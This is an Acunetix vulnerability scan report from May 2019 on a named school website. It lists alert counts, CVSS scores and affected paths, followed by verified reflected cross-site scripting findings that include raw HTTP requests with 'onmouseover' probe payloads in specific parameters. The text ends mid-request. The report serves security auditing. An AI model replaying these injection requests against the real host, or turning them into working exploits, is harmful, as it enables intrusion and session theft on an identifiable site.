
Developer
Report

Acunetix Security Audit

17 May 2019

Generated by Acunetix



Scan of tad.lces.tn.edu.tw

Scan details

Scan information

Start time 17/05/2019, 00:14:12

Start url http://tad.lces.tn.edu.tw

Host tad.lces.tn.edu.tw

Scan time 210 minutes, 39 seconds

Profile Full Scan

Server information Apache

Responsive True

Server OS Unknown

Server technologies PHP

Threat level

Acunetix Threat Level 3

One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these
vulnerabilities and compromise the backend database and/or deface your website.

Alerts distribution

Total alerts found 281

High 123

Medium 39

Low 54

Informational 65



Alerts summary

 Cross site scripting

Classification

CVSS2

Base Score: 6.4 
Access Vector: Network_accessible 
Access Complexity: Low 
Authentication: None 
Confidentiality Impact: Partial 
Integrity Impact: Partial 
Availability Impact: None 
Exploitability: Not_defined 
Remediation Level: Not_defined 
Report Confidence: Not_defined 
Availability Requirement: Not_defined 
Collateral Damage Potential: Not_defined 
Confidentiality Requirement: Not_defined 
Integrity Requirement: Not_defined 
Target Distribution: Not_defined 

CVSS3

Base Score: 5.3 
Attack Vector: Network 
Attack Complexity: Low 
Privileges Required: None 
User Interaction: None 
Scope: Unchanged 
Confidentiality Impact: None 
Integrity Impact: Low 
Availability Impact: None 

CWE CWE-79

Affected items Variation

Web Server 1

/index.php 3

/modules/profile/ 1

/modules/profile/index.php 1

/modules/profile/user.php 2

/modules/tad_idioms/ 1

/modules/tad_idioms/index.php 14

/modules/tad_link/ 1

/modules/tad_link/index.php 9

/modules/tad_login/ 1

/modules/tad_login/index.php 1

/modules/tad_lunch3/ 1

/modules/tad_lunch3/index.php 7

/modules/tad_player 1

/modules/tad_player/ 1

/modules/tad_player/index.php 6

/modules/tad_player/play.php 9

/modules/tad_player/playlist.php 3

/modules/tadgallery/ 1

/modules/tadgallery/cooliris.php 4

/modules/tadgallery/index.php 5



/modules/tadgallery/view.php 13

/modules/tadnews/ 1

/modules/tadnews/archive.php 4

/modules/tadnews/index.php 19

/modules/tadnews/newspaper.php 3

/modules/tadnews/page.php 4

/search.php 5

/user.php 1

 Backup files

Classification

CVSS2

Base Score: 5.0 
Access Vector: Network_accessible 
Access Complexity: Low 
Authentication: None 
Confidentiality Impact: Partial 
Integrity Impact: None 
Availability Impact: None 
Exploitability: Not_defined 
Remediation Level: Not_defined 
Report Confidence: Not_defined 
Availability Requirement: Not_defined 
Collateral Damage Potential: Not_defined 
Confidentiality Requirement: Not_defined 
Integrity Requirement: Not_defined 
Target Distribution: Not_defined 

CWE CWE-538

Affected items Variation

/themes/school2019/config2.php 1

 HTML form without CSRF protection

Classification

CVSS2

Base Score: 2.6 
Access Vector: Network_accessible 
Access Complexity: High 
Authentication: None 
Confidentiality Impact: None 
Integrity Impact: Partial 
Availability Impact: None 
Exploitability: Not_defined 
Remediation Level: Not_defined 
Report Confidence: Not_defined 
Availability Requirement: Not_defined 
Collateral Damage Potential: Not_defined 
Confidentiality Requirement: Not_defined 
Integrity Requirement: Not_defined 
Target Distribution: Not_defined 

CVSS3

Base Score: 4.3 
Attack Vector: Network 
Attack Complexity: Low 
Privileges Required: None 
User Interaction: Required 
Scope: Unchanged 
Confidentiality Impact: None 
Integrity Impact: Low 
Availability Impact: None 



CWE CWE-352

Affected items Variation

Web Server 1

/index.php 1

/modules/profile/index.php 1

/modules/profile/user.php 1

/modules/tad_idioms/index.php 1

/modules/tad_link/index.php 1

/modules/tad_login/index.php 1

/modules/tad_lunch3/index.php 1

/modules/tad_player/index.php 1

/modules/tad_player/play.php 1

/modules/tad_player/playlist.php 1

/modules/tadgallery/cooliris.php 1

/modules/tadgallery/index.php 1

/modules/tadgallery/view.php 1

/modules/tadnews/archive.php 1

/modules/tadnews/index.php 1

/modules/tadnews/newspaper.php 1

/modules/tadnews/page.php 1

/search.php 1

 User credentials are sent in clear text

Classification

CVSS2

Base Score: 5.0 
Access Vector: Network_accessible 
Access Complexity: Low 
Authentication: None 
Confidentiality Impact: Partial 
Integrity Impact: None 
Availability Impact: None 
Exploitability: High 
Remediation Level: Workaround 
Report Confidence: Confirmed 
Availability Requirement: Not_defined 
Collateral Damage Potential: Not_defined 
Confidentiality Requirement: Not_defined 
Integrity Requirement: Not_defined 
Target Distribution: Not_defined 

CVSS3

Base Score: 9.1 
Attack Vector: Network 
Attack Complexity: Low 
Privileges Required: None 
User Interaction: None 
Scope: Unchanged 
Confidentiality Impact: High 
Integrity Impact: High 
Availability Impact: None 

CWE CWE-310

Affected items Variation

Web Server 1



/index.php 1

/modules/profile/index.php 1

/modules/profile/user.php 1

/modules/tad_idioms/index.php 1

/modules/tad_link/index.php 1

/modules/tad_login/index.php 1

/modules/tad_lunch3/index.php 1

/modules/tad_player/index.php 1

/modules/tad_player/play.php 1

/modules/tad_player/playlist.php 1

/modules/tadgallery/cooliris.php 1

/modules/tadgallery/index.php 1

/modules/tadgallery/view.php 1

/modules/tadnews/archive.php 1

/modules/tadnews/index.php 1

/modules/tadnews/newspaper.php 1

/modules/tadnews/page.php 1

/search.php 1

 Cookie(s) without HttpOnly flag set

Classification

CVSS2

Base Score: 0.0 
Access Vector: Network_accessible 
Access Complexity: Low 
Authentication: None 
Confidentiality Impact: None 
Integrity Impact: None 
Availability Impact: None 
Exploitability: Not_defined 
Remediation Level: Not_defined 
Report Confidence: Not_defined 
Availability Requirement: Not_defined 
Collateral Damage Potential: Not_defined 
Confidentiality Requirement: Not_defined 
Integrity Requirement: Not_defined 
Target Distribution: Not_defined 

CWE CWE-16

Affected items Variation

Web Server 1

 Cookie(s) without Secure flag set

Classification



CVSS2

Base Score: 0.0 
Access Vector: Network_accessible 
Access Complexity: Low 
Authentication: None 
Confidentiality Impact: None 
Integrity Impact: None 
Availability Impact: None 
Exploitability: Not_defined 
Remediation Level: Not_defined 
Report Confidence: Not_defined 
Availability Requirement: Not_defined 
Collateral Damage Potential: Not_defined 
Confidentiality Requirement: Not_defined 
Integrity Requirement: Not_defined 
Target Distribution: Not_defined 

CWE CWE-16

Affected items Variation

Web Server 1

 Possible sensitive directories

Classification

CVSS2

Base Score: 5.0 
Access Vector: Network_accessible 
Access Complexity: Low 
Authentication: None 
Confidentiality Impact: Partial 
Integrity Impact: None 
Availability Impact: None 
Exploitability: Not_defined 
Remediation Level: Not_defined 
Report Confidence: Not_defined 
Availability Requirement: Not_defined 
Collateral Damage Potential: Not_defined 
Confidentiality Requirement: Not_defined 
Integrity Requirement: Not_defined 
Target Distribution: Not_defined 

CVSS3

Base Score: 7.5 
Attack Vector: Network 
Attack Complexity: Low 
Privileges Required: None 
User Interaction: None 
Scope: Unchanged 
Confidentiality Impact: High 
Integrity Impact: None 
Availability Impact: None 

CWE CWE-200

Affected items Variation

Web Server 48

 Possible sensitive files

Classification



CVSS2

Base Score: 5.0 
Access Vector: Network_accessible 
Access Complexity: Low 
Authentication: None 
Confidentiality Impact: Partial 
Integrity Impact: None 
Availability Impact: None 
Exploitability: Not_defined 
Remediation Level: Not_defined 
Report Confidence: Not_defined 
Availability Requirement: Not_defined 
Collateral Damage Potential: Not_defined 
Confidentiality Requirement: Not_defined 
Integrity Requirement: Not_defined 
Target Distribution: Not_defined 

CVSS3

Base Score: 7.5 
Attack Vector: Network 
Attack Complexity: Low 
Privileges Required: None 
User Interaction: None 
Scope: Unchanged 
Confidentiality Impact: High 
Integrity Impact: None 
Availability Impact: None 

CWE CWE-200

Affected items Variation

/language/english/admin.php 1

/language/tchinese_utf8/admin.php 1

/modules/tadtools/bootstrap4/css/.DS_Store 1

/uploads/tad_link/tad_link.zip 1

 Content Security Policy (CSP) not implemented

Classification

CVSS2

Base Score: 0.0 
Access Vector: Network_accessible 
Access Complexity: Low 
Authentication: None 
Confidentiality Impact: None 
Integrity Impact: None 
Availability Impact: None 
Exploitability: Not_defined 
Remediation Level: Not_defined 
Report Confidence: Not_defined 
Availability Requirement: Not_defined 
Collateral Damage Potential: Not_defined 
Confidentiality Requirement: Not_defined 
Integrity Requirement: Not_defined 
Target Distribution: Not_defined 

CWE CWE-16

Affected items Variation

Web Server 1

 Content type is not specified

Classification



CVSS2

Base Score: 0.0 
Access Vector: Network_accessible 
Access Complexity: Low 
Authentication: None 
Confidentiality Impact: None 
Integrity Impact: None 
Availability Impact: None 
Exploitability: Not_defined 
Remediation Level: Not_defined 
Report Confidence: Not_defined 
Availability Requirement: Not_defined 
Collateral Damage Potential: Not_defined 
Confidentiality Requirement: Not_defined 
Integrity Requirement: Not_defined 
Target Distribution: Not_defined 

CWE CWE-16

Affected items Variation

/media/font-awesome/fonts/fontawesome-webfont.woff2 1

/modules/tadtools/bootstrap4/css/.DS_Store 1

/modules/tadtools/css/font-awesome/fonts/fontawesome-webfont.woff2 1

 Email address found

Classification

CVSS2

Base Score: 0.0 
Access Vector: Network_accessible 
Access Complexity: Low 
Authentication: None 
Confidentiality Impact: None 
Integrity Impact: None 
Availability Impact: None 
Exploitability: Not_defined 
Remediation Level: Not_defined 
Report Confidence: Not_defined 
Availability Requirement: Not_defined 
Collateral Damage Potential: Not_defined 
Confidentiality Requirement: Not_defined 
Integrity Requirement: Not_defined 
Target Distribution: Not_defined 

CVSS3

Base Score: 0.0 
Attack Vector: Network 
Attack Complexity: Low 
Privileges Required: None 
User Interaction: None 
Scope: Unchanged 
Confidentiality Impact: None 
Integrity Impact: None 
Availability Impact: None 

CWE CWE-200

Affected items Variation

/modules/profile/ 1

/modules/profile/index.php 1

/modules/profile/user.php 1

/modules/tad_idioms/ 1

/modules/tad_idioms/index.php 1

/modules/tad_link/ 1



/modules/tad_link/index.php 1

/modules/tad_login/ 1

/modules/tad_login/index.php 1

/modules/tad_lunch3/ 1

/modules/tad_lunch3/index.php 1

/modules/tad_player/ 1

/modules/tad_player/index.php 1

/modules/tad_player/playlist.php 1

/modules/tadgallery/ 1

/modules/tadgallery/cooliris.php 1

/modules/tadgallery/index.php 1

/modules/tadgallery/view.php 1

/modules/tadnews/ 1

/modules/tadnews/archive.php 1

/modules/tadnews/index.php 1

/modules/tadnews/newspaper.php 1

/modules/tadnews/page.php 1

/modules/tadtools/jquery/AUTHORS.txt 1

/modules/tadtools/ztree/css/zTreeStyle/zTreeStyle.css 1

/search.php 1

 Password type input with auto-complete enabled

Classification

CVSS2

Base Score: 0.0 
Access Vector: Network_accessible 
Access Complexity: Low 
Authentication: None 
Confidentiality Impact: None 
Integrity Impact: None 
Availability Impact: None 
Exploitability: Not_defined 
Remediation Level: Not_defined 
Report Confidence: Not_defined 
Availability Requirement: Not_defined 
Collateral Damage Potential: Not_defined 
Confidentiality Requirement: Not_defined 
Integrity Requirement: Not_defined 
Target Distribution: Not_defined 

CVSS3

Base Score: 7.5 
Attack Vector: Network 
Attack Complexity: Low 
Privileges Required: None 
User Interaction: None 
Scope: Unchanged 
Confidentiality Impact: High 
Integrity Impact: None 
Availability Impact: None 

CWE CWE-200

Affected items Variation

Web Server 1

 Possible server path disclosure (Unix)



Classification

CVSS2

Base Score: 5.0 
Access Vector: Network_accessible 
Access Complexity: Low 
Authentication: None 
Confidentiality Impact: Partial 
Integrity Impact: None 
Availability Impact: None 
Exploitability: Not_defined 
Remediation Level: Not_defined 
Report Confidence: Not_defined 
Availability Requirement: Not_defined 
Collateral Damage Potential: Not_defined 
Confidentiality Requirement: Not_defined 
Integrity Requirement: Not_defined 
Target Distribution: Not_defined 

CVSS3

Base Score: 7.5 
Attack Vector: Network 
Attack Complexity: Low 
Privileges Required: None 
User Interaction: None 
Scope: Unchanged 
Confidentiality Impact: High 
Integrity Impact: None 
Availability Impact: None 

CWE CWE-200

Affected items Variation

/modules/profile/ 1

/modules/profile/index.php 1

/modules/profile/user.php 1

/modules/tad_idioms/ 1

/modules/tad_idioms/index.php 1

/modules/tad_link/ 1

/modules/tad_link/index.php 1

/modules/tad_login/ 1

/modules/tad_login/index.php 1

/modules/tad_lunch3/ 1

/modules/tad_lunch3/index.php 1

/modules/tad_player/ 1

/modules/tad_player/index.php 1

/modules/tad_player/play.php 1

/modules/tad_player/playlist.php 1

/modules/tadgallery/ 1

/modules/tadgallery/ajax.php 1

/modules/tadgallery/cooliris.php 1

/modules/tadgallery/exif.php 1

/modules/tadgallery/index.php 1

/modules/tadgallery/uploads.php 1

/modules/tadgallery/view.php 1

/modules/tadnews/ 1

/modules/tadnews/ajax.php 1



/modules/tadnews/archive.php 1

/modules/tadnews/index.php 1

/modules/tadnews/newspaper.php 1

/modules/tadnews/page.php 1

/search.php 1

/themes/school2019/config2.php 1

 Subresource Integrity (SRI) not implemented

Classification

CVSS2

Base Score: 0.0 
Access Vector: Network_accessible 
Access Complexity: Low 
Authentication: None 
Confidentiality Impact: None 
Integrity Impact: None 
Availability Impact: None 
Exploitability: Not_defined 
Remediation Level: Not_defined 
Report Confidence: Not_defined 
Availability Requirement: Not_defined 
Collateral Damage Potential: Not_defined 
Confidentiality Requirement: Not_defined 
Integrity Requirement: Not_defined 
Target Distribution: Not_defined 

CWE CWE-16

Affected items Variation

Web Server 1

/images/banners/banner.htm 1

/modules/tadgallery/class/jquery.animated.innerfade/ 1

/modules/tadnews/class/jQuery.Marquee/index.html 1



Alerts details

 Cross site scripting

Severity High
Reported by module /Scripts/PerFolder/XSS_in_URI_Folder.script

Description

Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into
a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user
input within the output it generates.

Impact

Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local
storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then
impersonate that user. 

Furthermore, JavaScript can read and make arbitrary modifications to the contents of a page being displayed to a user.
Therefore, XSS in conjunction with some clever social engineering opens up a lot of possibilities for an attacker.

Recommendation

Apply context-dependent encoding and/or validation to user input rendered on a page

References

Cross-site Scripting (XSS) Attack - Acunetix (https://www.acunetix.com/websitesecurity/cross-site-scripting/) 
Types of XSS - Acunetix (https://www.acunetix.com/websitesecurity/xss/) 
Cross-site Scripting - OWASP (http://www.owasp.org/index.php/Cross_Site_Scripting) 
XSS Filter Evasion Cheat Sheet (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) 
Excess XSS, a comprehensive tutorial on cross-site scripting (https://excess-xss.com/) 
Cross site scripting (http://en.wikipedia.org/wiki/Cross-site_scripting ) 

Affected items

Web Server
Details

URI was set to "onmouseover='0mFy(9728)'bad=" 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET //?"onmouseover='0mFy(9728)'bad=" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/index.php
Details

URI was set to ;9350'();}]9563 
The input is reflected inside a <script> tag between single quotes.

Request headers

https://www.acunetix.com/websitesecurity/cross-site-scripting/
https://www.acunetix.com/websitesecurity/xss/
http://www.owasp.org/index.php/Cross_Site_Scripting
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://excess-xss.com/
http://en.wikipedia.org/wiki/Cross-site_scripting


GET /index.php/%3B%39%33%35%30%27%28%29%3B%7D%5D%39%35%36%33 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/index.php
Verified vulnerability

Details

URL encoded GET input nsn was set to 1"onmouseover=F3I8(9559)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /index.php?nsn=1"onmouseover=F3I8(9559)"&op=delete_tad_news HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/index.php
Verified vulnerability

Details

URL encoded GET input op was set to delete_tad_news"onmouseover=F3I8(9421)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /index.php?nsn=&op=delete_tad_news"onmouseover=F3I8(9421)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/profile/
Details

URI was set to "onmouseover='4F6o(9275)'bad=" 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/profile/?"onmouseover='4F6o(9275)'bad=" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/profile/index.php
Details

URI was set to ;9529'();}]9549 
The input is reflected inside a <script> tag between single quotes.

Request headers

GET /modules/profile/index.php/%3B%39%35%32%39%27%28%29%3B%7D%5D%39%35%34%39 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/profile/user.php
Details

URI was set to ;9088'();}]9214 
The input is reflected inside a <script> tag between single quotes.

Request headers



GET /modules/profile/user.php/%3B%39%30%38%38%27%28%29%3B%7D%5D%39%32%31%34 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/profile/user.php
Verified vulnerability

Details

URL encoded GET input xoops_redirect was set to /"onmouseover=yPwC(9782)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/profile/user.php?xoops_redirect=/"onmouseover=yPwC(9782)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_idioms/
Details

URI was set to "onmouseover='Jto6(9211)'bad=" 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_idioms/?"onmouseover='Jto6(9211)'bad=" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_idioms/index.php
Details

URI was set to "onmouseover='DY8L(9159)'bad=" 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET
/modules/tad_idioms/index.php/%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%27%44%59%38%4C%28%3
9%31%35%39%29%27%62%61%64%3D%22 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_idioms/index.php
Verified vulnerability

Details

URL encoded GET input amp;nsn was set to 1"onmouseover=LbyQ(9090)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_idioms/index.php?
amp;nsn=1"onmouseover=LbyQ(9090)"&g2p=1&op=delete_tad_news HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_idioms/index.php
Verified vulnerability

Details

URL encoded GET input amp;show_sn was set to 30"onmouseover=9lNf(9611)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_idioms/index.php?amp;show_sn=30"onmouseover=9lNf(9611)"&g2p=1 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_idioms/index.php
Verified vulnerability

Details

URL encoded GET input g2p was set to 1"onmouseover=lBsp(9277)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_idioms/index.php?g2p=1"onmouseover=lBsp(9277)"&nsn=&op=delete_tad_news
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
